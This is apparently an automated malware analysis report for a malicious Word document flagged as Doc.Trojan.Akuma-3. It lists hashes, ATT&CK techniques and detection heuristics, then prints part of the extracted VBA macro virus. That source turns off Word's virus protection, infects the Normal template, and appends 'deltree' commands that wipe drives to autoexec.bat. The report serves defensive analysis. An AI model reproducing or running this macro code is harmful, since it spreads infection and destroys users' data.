Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1477bec08c9309dc…

MALICIOUS

Office (OLE)

55.0 KB Created: 2000-08-18 21:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a7f84b6120feebabfac4e992546382d6 SHA-1: a109c320c3d2255088031cef4bd19d709d98943f SHA-256: 1477bec08c9309dcd8714a9536c701d85b8567ac8544120f7d25022dd8743382
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

This Office document contains multiple VBA macros, including AutoOpen, Document_Open, and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The presence of a Shell() call within the VBA code strongly suggests the execution of a secondary payload. The ClamAV detection of 'Doc.Trojan.Akuma-3' further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Trojan.Akuma-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Akuma-3
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31601 bytes
SHA-256: b692cb6ce2f6baccdea7e6793ea1761b9d8c0c90e26311e1622a6917c0aadc18
Detection
ClamAV: Doc.Trojan.Akuma-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Stand()
'Stand
'3
'Copies: 153
    On Error Resume Next
    stato = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Tools").Controls("Macro").Enabled = False
    Application.DisplayRecentFiles = True
    RecentFiles.Maximum = 9
    Set mad = NormalTemplate.VBProject.VBComponents.Item(1)
    For c = 1 To 2
        If Left(StandFind(mad, "Private Sub Stand()", True), Len("Stand Yes")) = "Stand Yes" Then GoTo NoClear
        StandClear mad, "Private Sub ViewVBCode()"
        StandClear mad, "Sub Document_Close()"
        StandClear mad, "Private Sub Document_Close()"
        StandClear mad, "Sub Document_New()"
        StandClear mad, "Private Sub Document_New()"
        StandClear mad, "Sub Document_Open()"
        StandClear mad, "Private Sub Document_Open()"
        StandClear mad, "Sub AutoClose()"
        StandClear mad, "Private Sub AutoClose()"
        StandClear mad, "Sub AutoOpen()"
        StandClear mad, "Private Sub AutoOpen()"
        StandClear mad, "Sub AutoNew()"
        StandClear mad, "Private Sub AutoNew()"
        StandClear mad, "Private Sub Stand()"
        StandClear mad, "Private Function StandClear(DoveM, StartM)"
        StandClear mad, "Private Sub StandDestroy()"
        StandClear mad, "Private Function StandFind(DoveM, StartM, Infect)"
        StandClear mad, "Private Function StandInfect()"
        StandClear mad, "Private Function StandWrite(StartM)"
NoClear:
        Set mad = ActiveDocument.VBProject.VBComponents.Item(1)
    Next c
    SetAttr "c:\Stand.log", vbNormal
    Kill "c:\Stand.log"
    Open "c:\Stand.log" For Output As #1
    StandWrite "Private Sub Stand()"
    StandWrite "Private Function StandClear(DoveM, StartM)"
    StandWrite "Private Sub StandDestroy()"
    StandWrite "Private Function StandFind(DoveM, StartM, Infect)"
    StandWrite "Private Function StandInfect()"
    StandWrite "Private Function StandWrite(StartM)"
    StandWrite "Private Sub Document_Close()"
    StandWrite "Private Sub Document_Open()"
    StandWrite "Private Sub Document_New()"
    StandWrite "Private Sub ViewVBCode()"
    Close #1
    SetAttr "c:\Stand.log", vbNormal
    arg = StandInfect
    Kill "c:\Stand.log"
    Set stress = ActiveDocument
    If Left(ActiveDocument.Name, 8) <> "Document" And arg = 2 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ActiveDocument.Saved = stato
    On Error GoTo 0
End Sub

Private Function StandClear(DoveM, StartM)
'Stand
'3
    Count = StandFind(DoveM, StartM, True)
    If Left(Count, 5) <> "Stand" Then
        Do Until DoveM.CodeModule.Lines(Count, 1) = "End Sub" Or DoveM.CodeModule.Lines(Count, 1) = "End Function"
            DoveM.CodeModule.DeleteLines (Count)
        Loop
        DoveM.CodeModule.DeleteLines (Count)
    End If
End Function

Private Sub StandDestroy()
'Stand
'3
    On Error Resume Next
    SetAttr "c:\autoexec.kil", vbNormal
    Kill "c:\autoexec.kil"
    Randomize
    WhickStand = Int(5 * Rnd) + 1
    Select Case WhickStand
        Case 1
            MsgBox "This application caused a general protection error:" + Chr$(10) + "The system will be restarted", vbCritical, "The World"
            SetAttr "c:\autoexec.bat", vbNormal
            Open "c:\autoexec.bat" For Input As #1: Do Until EOF(1): Input #1, stress: Loop: Close #1
            If stress <> "next time I'll KILL YOU" Then
                Open "c:\autoexec.bat" For Append As #1
                    Print #1, "deltree /Y e:\*"
                    Print #1, "deltree /Y d:\*"
                    Print #1, "deltree /Y c:\*"
                    Print #1, "rem Created by Th
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.